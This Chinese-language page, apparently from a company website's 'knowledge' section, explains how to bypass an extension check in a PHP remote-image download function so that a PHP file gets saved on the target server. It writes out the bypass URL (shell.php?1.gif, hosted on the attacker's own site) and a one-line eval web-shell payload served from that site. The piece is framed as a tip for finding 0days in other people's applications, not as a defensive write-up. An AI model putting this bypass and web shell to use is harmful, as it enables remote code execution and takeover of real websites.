知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询:361652718 513960520
当前位置 > 首页 > 知识学堂 > 常见技术问题
一个简单的文件扩展名验证绕过技巧
更新时间:2012-04-15 | 发布人:本站 | 点击率:501
挖掘web应用程序0day最有效、最直接的办法就是直接从文件操作函数入手,我个人喜好首先看上传类代码,本文来个简单技巧。当然技巧不完全是个人原创,也是通过学些别人的技巧自己想到的,所有本文的目的也是做个奠基,然后对你将来的挖掘过程有所启发。
 
函数代码:
 
function download( $content, $absurl = "", $basehref = "", $exts = "gif|jpg|jpeg|bmp|png" )
  {
    global $cfg;
    $string = stripslashes( $content );
    if ( !preg_match_all( "/(href|src)=([\"|']?)([^ \"'>]+\\.(".$exts."))\\2/i", $string, $matches ) )
    {
      return $content;
    }
    $remotefileurls = array( );
   //此处省略若干……
 
    unset( $matches );
    unset( $string );
    $remotefileurls = array_unique( $remotefileurls );
    $filepath = date( "Y/md/", $this->dateline );
    $imgdir = $this->imgdir.$filepath;
    include_once( ROOT."./core/dir.func.php" );
    dir_create( $imgdir );
    foreach ( $remotefileurls as $k => $file )
    {
        $ext = fileext( $file );
        $salt = rand( 1000, 9999 );
        $filename = $this->dateline.$salt.".".$ext;
        $newfile = $imgdir.$filename;
        if ( @copy( $file, $newfile ) )
        {
          $oldpath[$k] = $k;
          $newpath[$k] = $imgurl.$filename;
          @chmod( $newfile, 511 );
        }
//此处省略若干……
      }
    return str_replace( $oldpath, $newpath, $content );
  }
 
这个是一个实现远程图片自动上传功能的函数,用户提交的content中若有图片地址则自动将远程的地址copy到本地!在清楚content中的图片路径时候采用preg_match_all 正则匹配(红色代码部分),虽然有扩展名的验证但是很容易就能绕过,我们只需要将shell地址修改为:http://www.mysite.com/shell.php?1.gif就可以绕过了,mysite是自己的网站地址,如果自己网站下解析php的话那么php内容应该是<?echo '<?eval($_POST[cmd]);?>';?> 否则下载后得到的文件内容是空白,copy访问远程文件也像IE一样,访问后取得解析后的内容。
分享到: QQ空间 新浪微博 开心网 人人网